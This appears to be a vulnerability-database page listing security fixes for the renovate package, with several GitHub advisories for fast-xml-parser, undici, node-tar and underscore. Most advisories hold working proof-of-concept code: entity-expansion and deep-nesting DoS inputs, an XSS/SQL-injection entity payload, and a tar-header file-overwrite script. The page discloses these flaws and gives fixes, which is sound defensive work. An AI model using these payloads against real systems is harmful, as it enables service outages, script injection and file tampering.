Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Published
2026-07-30 07:10
Modified
2026-07-30 09:31
Summary
Security fixes in renovate 43.4.3-r1
Details
Package renovate version 43.4.3-r1 fixes 49 vulnerabilities: ghsa-8wc6-vgrq-x6cf, CVE-2026-28292, ghsa-r275-fr43-pm7q, CVE-2026-25896, ghsa-m7jm-9gc2-mpf2...
References
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "renovate"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "43.4.3-r1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"43.4.3-r1"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package renovate version 43.4.3-r1 fixes 49 vulnerabilities: ghsa-8wc6-vgrq-x6cf, CVE-2026-28292, ghsa-r275-fr43-pm7q, CVE-2026-25896, ghsa-m7jm-9gc2-mpf2...",
"id": "CLEANSTART-2026-IA01903",
"modified": "2026-07-30T09:31:56Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/renovatebot/renovate"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in renovate 43.4.3-r1",
"upstream": [
"ghsa-8wc6-vgrq-x6cf",
"CVE-2026-28292",
"ghsa-r275-fr43-pm7q",
"CVE-2026-25896",
"ghsa-m7jm-9gc2-mpf2",
"CVE-2026-25128",
"ghsa-37qj-frw5-hhjh",
"CVE-2026-26278",
"ghsa-jmr7-xgp7-cmfj",
"CVE-2026-33036",
"ghsa-8gc5-j5rx-235r",
"CVE-2026-27942",
"ghsa-fj3w-jwp8-x2g3",
"CVE-2026-26996",
"ghsa-3ppc-4f35-3m26",
"CVE-2026-27903",
"ghsa-7r86-cg39-jmmj",
"CVE-2026-27904",
"ghsa-23c5-xmqv-rm74",
"CVE-2026-27601",
"ghsa-qpx9-hpmf-5gmw",
"CVE-2025-69873",
"ghsa-2g4f-4pwh-qvx6",
"CVE-2026-32141",
"ghsa-25h7-pfq9-p65f",
"CVE-2026-25547",
"ghsa-7h2j-956f-4vf2",
"CVE-2026-2391",
"ghsa-w7fw-mjwx-w883",
"CVE-2026-26960",
"ghsa-83g3-92jg-28cx",
"CVE-2026-29786",
"ghsa-qffp-2rhf-9h96",
"CVE-2026-31802",
"ghsa-9ppj-qmqm-q256",
"CVE-2026-2327",
"ghsa-38c4-r59v-3vqw",
"CVE-2026-1525",
"ghsa-4992-7rv2-5pvq",
"CVE-2026-1526",
"ghsa-v9p9-hfj2-hcw8",
"CVE-2026-1527",
"ghsa-f269-vfmq-vjvj",
"CVE-2026-1528",
"ghsa-vrm6-8vpv-qv8q",
"CVE-2026-2229",
"ghsa-phc3-fgpg-7m6h",
"CVE-2026-2581",
"ghsa-2mjp-6q6p-2qxm"
]
}
GHSA-JMR7-XGP7-CMFJ
Vulnerability from github – Published: 2026-02-17 21:30 – Updated: 2026-02-27 16:50
VLAI
Summary
fast-xml-parser affected by DoS through entity expansion in DOCTYPE (no expansion limit)
Details
Summary
The XML parser can be forced to do an unlimited amount of entity expansion. With a very small XML input, it’s possible to make the parser spend seconds or even minutes processing a single request, effectively freezing the application.
Details
There is a check in DocTypeReader.js that tries to prevent entity expansion attacks by rejecting entities that reference other entities (it looks for & inside entity values). This does stop classic “Billion Laughs” payloads.
However, it doesn’t stop a much simpler variant.
If you define one large entity that contains only raw text (no & characters) and then reference it many times, the parser will happily expand it every time. There is no limit on how large the expanded result can become, or how many replacements are allowed.
The problem is in replaceEntitiesValue() inside OrderedObjParser.js. It repeatedly runs val.replace() in a loop, without any checks on total output size or execution cost. As the entity grows or the number of references increases, parsing time explodes.
Relevant code:
DocTypeReader.js (lines 28–33): entity registration only checks for &
OrderedObjParser.js (lines 439–458): entity replacement loop with no limits
PoC
const { XMLParser } = require('fast-xml-parser');
const entity = 'A'.repeat(1000);
const refs = '&big;'.repeat(100);
const xml = `<!DOCTYPE foo [<!ENTITY big "${entity}">]><root>${refs}</root>`;
console.time('parse');
new XMLParser().parse(xml); // ~4–8 seconds for ~1.3 KB of XML
console.timeEnd('parse');
// 5,000 chars × 100 refs takes 200+ seconds
// 50,000 chars × 1,000 refs will hang indefinitely
Impact
This is a straightforward denial-of-service issue.
Any service that parses user-supplied XML using the default configuration is vulnerable. Since Node.js runs on a single thread, the moment the parser starts expanding entities, the event loop is blocked. While this is happening, the server can’t handle any other requests.
In testing, a payload of only a few kilobytes was enough to make a simple HTTP server completely unresponsive for several minutes, with all other requests timing out.
Workaround
Avoid using DOCTYPE parsing by processEntities: false option.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "fast-xml-parser"
},
"ranges": [
{
"events": [
{
"introduced": "4.1.3"
},
{
"fixed": "4.5.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "fast-xml-parser"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.3.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-26278"
],
"database_specific": {
"cwe_ids": [
"CWE-776"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-17T21:30:10Z",
"nvd_published_at": "2026-02-19T20:25:43Z",
"severity": "HIGH"
},
"details": "### Summary\nThe XML parser can be forced to do an unlimited amount of entity expansion. With a very small XML input, it\u2019s possible to make the parser spend seconds or even minutes processing a single request, effectively freezing the application.\n\n### Details\nThere is a check in `DocTypeReader.js` that tries to prevent entity expansion attacks by rejecting entities that reference other entities (it looks for \u0026 inside entity values). This does stop classic \u201cBillion Laughs\u201d payloads.\n\nHowever, it doesn\u2019t stop a much simpler variant.\n\nIf you define one large entity that contains only raw text (no \u0026 characters) and then reference it many times, the parser will happily expand it every time. There is no limit on how large the expanded result can become, or how many replacements are allowed.\n\nThe problem is in `replaceEntitiesValue()` inside `OrderedObjParser.js`. It repeatedly runs `val.replace()` in a loop, without any checks on total output size or execution cost. As the entity grows or the number of references increases, parsing time explodes.\n\nRelevant code:\n\n`DocTypeReader.js` (lines 28\u201333): entity registration only checks for \u0026\n\n`OrderedObjParser.js` (lines 439\u2013458): entity replacement loop with no limits\n\n### PoC\n\n```js\nconst { XMLParser } = require(\u0027fast-xml-parser\u0027);\n\nconst entity = \u0027A\u0027.repeat(1000);\nconst refs = \u0027\u0026big;\u0027.repeat(100);\nconst xml = `\u003c!DOCTYPE foo [\u003c!ENTITY big \"${entity}\"\u003e]\u003e\u003croot\u003e${refs}\u003c/root\u003e`;\n\nconsole.time(\u0027parse\u0027);\nnew XMLParser().parse(xml); // ~4\u20138 seconds for ~1.3 KB of XML\nconsole.timeEnd(\u0027parse\u0027);\n\n// 5,000 chars \u00d7 100 refs takes 200+ seconds\n// 50,000 chars \u00d7 1,000 refs will hang indefinitely\n```\n\n### Impact\nThis is a straightforward denial-of-service issue.\n\nAny service that parses user-supplied XML using the default configuration is vulnerable. Since Node.js runs on a single thread, the moment the parser starts expanding entities, the event loop is blocked. While this is happening, the server can\u2019t handle any other requests.\n\nIn testing, a payload of only a few kilobytes was enough to make a simple HTTP server completely unresponsive for several minutes, with all other requests timing out.\n\n### Workaround\n\nAvoid using DOCTYPE parsing by `processEntities: false` option.",
"id": "GHSA-jmr7-xgp7-cmfj",
"modified": "2026-02-27T16:50:38Z",
"published": "2026-02-17T21:30:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-jmr7-xgp7-cmfj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26278"
},
{
"type": "WEB",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/910dae5be2de2955e968558fadf6e8f74f117a77"
},
{
"type": "PACKAGE",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser"
},
{
"type": "WEB",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.3.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "fast-xml-parser affected by DoS through entity expansion in DOCTYPE (no expansion limit)"
}
GHSA-M7JM-9GC2-MPF2
Vulnerability from github – Published: 2026-02-20 18:23 – Updated: 2026-02-27 16:51
VLAI
Summary
fast-xml-parser has an entity encoding bypass via regex injection in DOCTYPE entity names
Details
Entity encoding bypass via regex injection in DOCTYPE entity names
Summary
A dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", ') with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.
Details
The fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed . (period), which is valid in XML names per the W3C spec.
In DocTypeReader.js, entity names are passed directly to RegExp():
entities[entityName] = {
regx: RegExp(`&${entityName};`, "g"),
val: val
};
An entity named l. produces the regex /&l.;/g where . matches any character, including the t in <. Since DOCTYPE entities are replaced before built-in entities, this shadows < entirely.
The same issue exists in OrderedObjParser.js:81 (addExternalEntities), and in the v6 codebase - EntitiesParser.js has a validateEntityName function with a character blacklist, but . is not included:
// v6 EntitiesParser.js line 96
const specialChar = "!?\\/[]$%{}^&*()<>|+"; // no dot
Shadowing all 5 built-in entities
| Entity name | Regex created | Shadows |
|---|---|---|
l. |
/&l.;/g |
< |
g. |
/&g.;/g |
> |
am. |
/&am.;/g |
& |
quo. |
/&quo.;/g |
" |
apo. |
/&apo.;/g |
' |
PoC
const { XMLParser } = require("fast-xml-parser");
const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY l. "<img src=x onerror=alert(1)>">
]>
<root>
<text>Hello <b>World</b></text>
</root>`;
const result = new XMLParser().parse(xml);
console.log(result.root.text);
// Hello <img src=x onerror=alert(1)>b>World<img src=x onerror=alert(1)>/b>
No special parser options needed - processEntities: true is the default.
When an app renders result.root.text in a page (e.g. innerHTML, template interpolation, SSR), the injected <img onerror> fires.
& can be shadowed too:
const xml2 = `<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY am. "'; DROP TABLE users;--">
]>
<root>SELECT * FROM t WHERE name='O&Brien'</root>`;
const r = new XMLParser().parse(xml2);
console.log(r.root);
// SELECT * FROM t WHERE name='O'; DROP TABLE users;--Brien'
Impact
This is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.
- Default config, no special options
- Attacker can replace any
</>/&/"/'with arbitrary strings - Direct XSS vector when parsed XML content is rendered in a page
- v5 and v6 both affected
Suggested fix
Escape regex metacharacters before constructing the replacement regex:
const escaped = entityName.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
entities[entityName] = {
regx: RegExp(`&${escaped};`, "g"),
val: val
};
For v6, add . to the blacklist in validateEntityName:
const specialChar = "!?\\/[].{}^&*()<>|+";
Severity
CWE-185 (Incorrect Regular Expression)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - 9.3 (CRITICAL)
Entity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.
Severity
9.3 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "fast-xml-parser"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.3.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "fast-xml-parser"
},
"ranges": [
{
"events": [
{
"introduced": "4.1.3"
},
{
"fixed": "4.5.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25896"
],
"database_specific": {
"cwe_ids": [
"CWE-185"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-20T18:23:54Z",
"nvd_published_at": "2026-02-20T21:19:27Z",
"severity": "CRITICAL"
},
"details": "# Entity encoding bypass via regex injection in DOCTYPE entity names\n\n## Summary\n\nA dot (`.`) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (`\u0026lt;`, `\u0026gt;`, `\u0026amp;`, `\u0026quot;`, `\u0026apos;`) with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.\n\n## Details\n\nThe fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed `.` (period), which is valid in XML names per the W3C spec.\n\nIn `DocTypeReader.js`, entity names are passed directly to `RegExp()`:\n\n```js\nentities[entityName] = {\n regx: RegExp(`\u0026${entityName};`, \"g\"),\n val: val\n};\n```\n\nAn entity named `l.` produces the regex `/\u0026l.;/g` where `.` matches **any character**, including the `t` in `\u0026lt;`. Since DOCTYPE entities are replaced before built-in entities, this shadows `\u0026lt;` entirely.\n\nThe same issue exists in `OrderedObjParser.js:81` (`addExternalEntities`), and in the v6 codebase - `EntitiesParser.js` has a `validateEntityName` function with a character blacklist, but `.` is not included:\n\n```js\n// v6 EntitiesParser.js line 96\nconst specialChar = \"!?\\\\/[]$%{}^\u0026*()\u003c\u003e|+\"; // no dot\n```\n\n## Shadowing all 5 built-in entities\n\n| Entity name | Regex created | Shadows |\n|---|---|---|\n| `l.` | `/\u0026l.;/g` | `\u0026lt;` |\n| `g.` | `/\u0026g.;/g` | `\u0026gt;` |\n| `am.` | `/\u0026am.;/g` | `\u0026amp;` |\n| `quo.` | `/\u0026quo.;/g` | `\u0026quot;` |\n| `apo.` | `/\u0026apo.;/g` | `\u0026apos;` |\n\n## PoC\n\n```js\nconst { XMLParser } = require(\"fast-xml-parser\");\n\nconst xml = `\u003c?xml version=\"1.0\"?\u003e\n\u003c!DOCTYPE foo [\n \u003c!ENTITY l. \"\u003cimg src=x onerror=alert(1)\u003e\"\u003e\n]\u003e\n\u003croot\u003e\n \u003ctext\u003eHello \u0026lt;b\u0026gt;World\u0026lt;/b\u0026gt;\u003c/text\u003e\n\u003c/root\u003e`;\n\nconst result = new XMLParser().parse(xml);\nconsole.log(result.root.text);\n// Hello \u003cimg src=x onerror=alert(1)\u003eb\u003eWorld\u003cimg src=x onerror=alert(1)\u003e/b\u003e\n```\n\nNo special parser options needed - `processEntities: true` is the default.\n\nWhen an app renders `result.root.text` in a page (e.g. `innerHTML`, template interpolation, SSR), the injected `\u003cimg onerror\u003e` fires.\n\n`\u0026amp;` can be shadowed too:\n\n```js\nconst xml2 = `\u003c?xml version=\"1.0\"?\u003e\n\u003c!DOCTYPE foo [\n \u003c!ENTITY am. \"\u0027; DROP TABLE users;--\"\u003e\n]\u003e\n\u003croot\u003eSELECT * FROM t WHERE name=\u0027O\u0026amp;Brien\u0027\u003c/root\u003e`;\n\nconst r = new XMLParser().parse(xml2);\nconsole.log(r.root);\n// SELECT * FROM t WHERE name=\u0027O\u0027; DROP TABLE users;--Brien\u0027\n```\n\n## Impact\n\nThis is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.\n\n- Default config, no special options\n- Attacker can replace any `\u0026lt;` / `\u0026gt;` / `\u0026amp;` / `\u0026quot;` / `\u0026apos;` with arbitrary strings\n- Direct XSS vector when parsed XML content is rendered in a page\n- v5 and v6 both affected\n\n## Suggested fix\n\nEscape regex metacharacters before constructing the replacement regex:\n\n```js\nconst escaped = entityName.replace(/[.*+?^${}()|[\\]\\\\]/g, \u0027\\\\$\u0026\u0027);\nentities[entityName] = {\n regx: RegExp(`\u0026${escaped};`, \"g\"),\n val: val\n};\n```\n\nFor v6, add `.` to the blacklist in `validateEntityName`:\n\n```js\nconst specialChar = \"!?\\\\/[].{}^\u0026*()\u003c\u003e|+\";\n```\n\n## Severity\n\n**CWE-185** (Incorrect Regular Expression)\n\n**CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - 9.3 (CRITICAL)**\n\nEntity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.",
"id": "GHSA-m7jm-9gc2-mpf2",
"modified": "2026-02-27T16:51:58Z",
"published": "2026-02-20T18:23:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-m7jm-9gc2-mpf2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25896"
},
{
"type": "WEB",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/943ef0eb1b2d3284e72dd74f44a042ee9f07026e"
},
{
"type": "WEB",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/ddcd0acf26ddd682cb0dc15a2bd6aa3b96bb1e69"
},
{
"type": "PACKAGE",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser"
},
{
"type": "WEB",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.3.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "fast-xml-parser has an entity encoding bypass via regex injection in DOCTYPE entity names"
}
GHSA-PHC3-FGPG-7M6H
Vulnerability from github – Published: 2026-03-13 20:37 – Updated: 2026-03-13 20:37
VLAI
Summary
Undici has Unbounded Memory Consumption in its DeduplicationHandler via Response Buffering that leads to DoS
Details
Impact
This is an uncontrolled resource consumption vulnerability (CWE-400) that can lead to Denial of Service (DoS).
In vulnerable Undici versions, when interceptors.deduplicate() is enabled, response data for deduplicated requests could be accumulated in memory for downstream handlers. An attacker-controlled or untrusted upstream endpoint can exploit this with large/chunked responses and concurrent identical requests, causing high memory usage and potential OOM process termination.
Impacted users are applications that use Undici’s deduplication interceptor against endpoints that may produce large or long-lived response bodies.
Patches
The issue has been patched by changing deduplication behavior to stream response chunks to downstream handlers as they arrive (instead of full-body accumulation), and by preventing late deduplication when body streaming has already started.
Users should upgrade to the first official Undici (and Node.js, where applicable) releases that include this patch.
Workarounds
If upgrading immediately is not possible:
- Disable
interceptors.deduplicate()for affected clients/routes. - Use
skipHeaderNameswith a marker header to force high-risk requests to bypass deduplication. - Avoid concurrent identical requests to untrusted endpoints that may return very large/chunked bodies.
- Apply upstream/proxy response-size and timeout limits.
Severity
5.9 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "7.17.0"
},
{
"fixed": "7.24.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-2581"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-13T20:37:58Z",
"nvd_published_at": "2026-03-12T21:16:25Z",
"severity": "MODERATE"
},
"details": "## Impact\nThis is an uncontrolled resource consumption vulnerability (CWE-400) that can lead to Denial of Service (DoS).\n\nIn vulnerable Undici versions, when `interceptors.deduplicate()` is enabled, response data for deduplicated requests could be accumulated in memory for downstream handlers. An attacker-controlled or untrusted upstream endpoint can exploit this with large/chunked responses and concurrent identical requests, causing high memory usage and potential OOM process termination.\n\nImpacted users are applications that use Undici\u2019s deduplication interceptor against endpoints that may produce large or long-lived response bodies.\n\n## Patches\n\nThe issue has been patched by changing deduplication behavior to stream response chunks to downstream handlers as they arrive (instead of full-body accumulation), and by preventing late deduplication when body streaming has already started.\n\nUsers should upgrade to the first official Undici (and Node.js, where applicable) releases that include this patch.\n\n## Workarounds\nIf upgrading immediately is not possible:\n\n- Disable `interceptors.deduplicate()` for affected clients/routes.\n- Use `skipHeaderNames` with a marker header to force high-risk requests to bypass deduplication.\n- Avoid concurrent identical requests to untrusted endpoints that may return very large/chunked bodies.\n- Apply upstream/proxy response-size and timeout limits.",
"id": "GHSA-phc3-fgpg-7m6h",
"modified": "2026-03-13T20:37:58Z",
"published": "2026-03-13T20:37:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-phc3-fgpg-7m6h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2581"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3513473"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodejs/undici"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Undici has Unbounded Memory Consumption in its DeduplicationHandler via Response Buffering that leads to DoS"
}
GHSA-QFFP-2RHF-9H96
Vulnerability from github – Published: 2026-03-05 00:52 – Updated: 2026-03-09 15:49
VLAI
Summary
tar has Hardlink Path Traversal via Drive-Relative Linkpath
Details
Summary
tar (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.
Details
The extraction logic in Unpack[STRIPABSOLUTEPATH] checks for .. segments before stripping absolute roots.
What happens with linkpath: "C:../target.txt":
1. Split on / gives ['C:..', 'target.txt'], so parts.includes('..') is false.
2. stripAbsolutePath() removes C: and rewrites the value to ../target.txt.
3. Hardlink creation resolves this against extraction cwd and escapes one directory up.
4. Writing through the extracted hardlink overwrites the outside file.
This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.
PoC
Tested on Arch Linux with tar@7.5.9.
PoC script (poc.cjs):
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
Run:
cd test-workspace
node poc.cjs && ls -l ../target.txt
Observed output:
PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar 4 19:25 ../target.txt
PWNED confirms outside file content overwrite. Link count 2 confirms the extracted file and ../target.txt are hardlinked.
Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.
Realistic scenarios: - CLI tools unpacking untrusted tarballs into a working directory - build/update pipelines consuming third-party archives - services that import user-supplied tar files
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.5.9"
},
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-29786"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-05T00:52:32Z",
"nvd_published_at": "2026-03-07T16:15:55Z",
"severity": "HIGH"
},
"details": "### Summary\n`tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.\n\n### Details\nThe extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots.\n\nWhat happens with `linkpath: \"C:../target.txt\"`:\n1. Split on `/` gives `[\u0027C:..\u0027, \u0027target.txt\u0027]`, so `parts.includes(\u0027..\u0027)` is false.\n2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`.\n3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up.\n4. Writing through the extracted hardlink overwrites the outside file.\n\nThis is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.\n\n### PoC\nTested on Arch Linux with `tar@7.5.9`.\n\nPoC script (`poc.cjs`):\n\n```js\nconst fs = require(\u0027fs\u0027)\nconst path = require(\u0027path\u0027)\nconst { Header, x } = require(\u0027tar\u0027)\n\nconst cwd = process.cwd()\nconst target = path.resolve(cwd, \u0027..\u0027, \u0027target.txt\u0027)\nconst tarFile = path.join(process.cwd(), \u0027poc.tar\u0027)\n\nfs.writeFileSync(target, \u0027ORIGINAL\\n\u0027)\n\nconst b = Buffer.alloc(1536)\nnew Header({ path: \u0027l\u0027, type: \u0027Link\u0027, linkpath: \u0027C:../target.txt\u0027 }).encode(b, 0)\nfs.writeFileSync(tarFile, b)\n\nx({ cwd, file: tarFile }).then(() =\u003e {\n fs.writeFileSync(path.join(cwd, \u0027l\u0027), \u0027PWNED\\n\u0027)\n process.stdout.write(fs.readFileSync(target, \u0027utf8\u0027))\n})\n```\n\nRun:\n\n```bash\ncd test-workspace\nnode poc.cjs \u0026\u0026 ls -l ../target.txt\n```\n\nObserved output:\n\n```text\nPWNED\n-rw-r--r-- 2 joshuavr joshuavr 6 Mar 4 19:25 ../target.txt\n```\n\n`PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked.\n\n### Impact\nThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.\n\nRealistic scenarios:\n- CLI tools unpacking untrusted tarballs into a working directory\n- build/update pipelines consuming third-party archives\n- services that import user-supplied tar files",
"id": "GHSA-qffp-2rhf-9h96",
"modified": "2026-03-09T15:49:59Z",
"published": "2026-03-05T00:52:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29786"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L",
"type": "CVSS_V4"
}
],
"summary": "tar has Hardlink Path Traversal via Drive-Relative Linkpath"
}
GHSA-QPX9-HPMF-5GMW
Vulnerability from github – Published: 2026-03-03 17:46 – Updated: 2026-05-05 22:01
VLAI
Summary
Underscore has unlimited recursion in _.flatten and _.isEqual, potential for DoS attack
Details
Impact
In simple words, some programs that use _.flatten or _.isEqual could be made to crash. Someone who wants to do harm may be able to do this on purpose. This can only be done if the program has special properties. It only works in Underscore versions up to 1.13.7. A more detailed explanation follows.
In affected versions of Underscore, the _.flatten and _.isEqual functions use recursion without a depth limit. Under very specific conditions, detailed below, an attacker could exploit this in a Denial of Service (DoS) attack by triggering a stack overflow.
A proof of concept (PoC) for this type of attack with _.isEqual:
const _ = require('underscore');
// build JSON string for nested object ~4500 levels deep
// (for this to be an attack, the JSON would have to come from
// a request or other untrusted input)
let json = '';
for (let i = 0; i < 4500; i++) json += '{"n":';
json += '"x"';
for (let i = 0; i < 4500; i++) json += '}';
// construct two distinct objects with equal shape from the above JSON
const a = JSON.parse(json);
const b = JSON.parse(json);
_.isEqual(a, b); // RangeError: Maximum call stack size exceeded
A proof of concept (PoC) for this type of attack with _.flatten:
const _ = require('underscore');
// build nested array ~4500 levels deep
// (like with _.isEqual, this nested array would have to be sourced
// from an untrusted external source for it to be an attack)
let nested = [];
for (let i = 0; i < 4500; i++) nested = [nested];
_.flatten(nested); // RangeError: Maximum call stack size exceeded
An application that crashes because of this can be restarted, so the bug is most relevant to applications for which continued operation is important, such as server applications. Furthermore, an application is only vulnerable to this type of attack if ALL of the following conditions are met:
- Untrusted input must be used to create a recursive datastructure, for example using
JSON.parse, with no enforced depth limit. - The datastructure thus created must be passed to
_.flattenor_.isEqual. - In the case of
_.flatten, the vulnerability can only be exploited if it is possible for a remote client to prepare a datastructure that consists of arrays at all levels AND if no finite depth limit is passed as the second argument to_.flatten. - In the case of
_.isEqual, the vulnerability can only be exploited if there exists a code path in which two distinct datastructures that were submitted by the same remote client are compared using_.isEqual. For example, if a client submits data that are stored in a database, and the same client can later submit another datastructure that is then compared to the data that were saved in the database previously, OR if a client submits a single request, but its data are parsed twice, creating two non-identical but equivalent datastructures that are then compared. - Exceptions originating from the call to
_.flattenor_.isEqual, as a result of a stack overflow, are not being caught.
All versions of Underscore up to and including 1.13.7 are affected by this weakness.
Patches
The problem has been patched in version 1.13.8. Upgrading to 1.13.8 or later completely prevents exploitation.
Note: historically, there have been breaking changes in minor releases of Underscore, especially between versions 1.6 and 1.9. However, upgrading from version 1.9 or later to any later 1.x version should be feasible with little or no effort for all users.
Workarounds
A workaround that works for both functions is to enforce a depth limit on the datastructure that is created from untrusted input. A limit of 1000 levels should prevent attacks from being successful on most systems. In systems with highly constrained hardware, we recommend lower limits, for example 100 levels.
Another possible workaround that only works for _.flatten, is to pass a second argument that limits the flattening depth to 1000 or less.
References
- https://github.com/jashkenas/underscore/issues/3011
- https://underscorejs.org/#1.13.8
- https://underscorejs.org/#flatten
- https://underscorejs.org/#isEqual
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.13.7"
},
"package": {
"ecosystem": "npm",
"name": "underscore"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.13.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27601"
],
"database_specific": {
"cwe_ids": [
"CWE-674",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-03T17:46:06Z",
"nvd_published_at": "2026-03-03T23:15:55Z",
"severity": "HIGH"
},
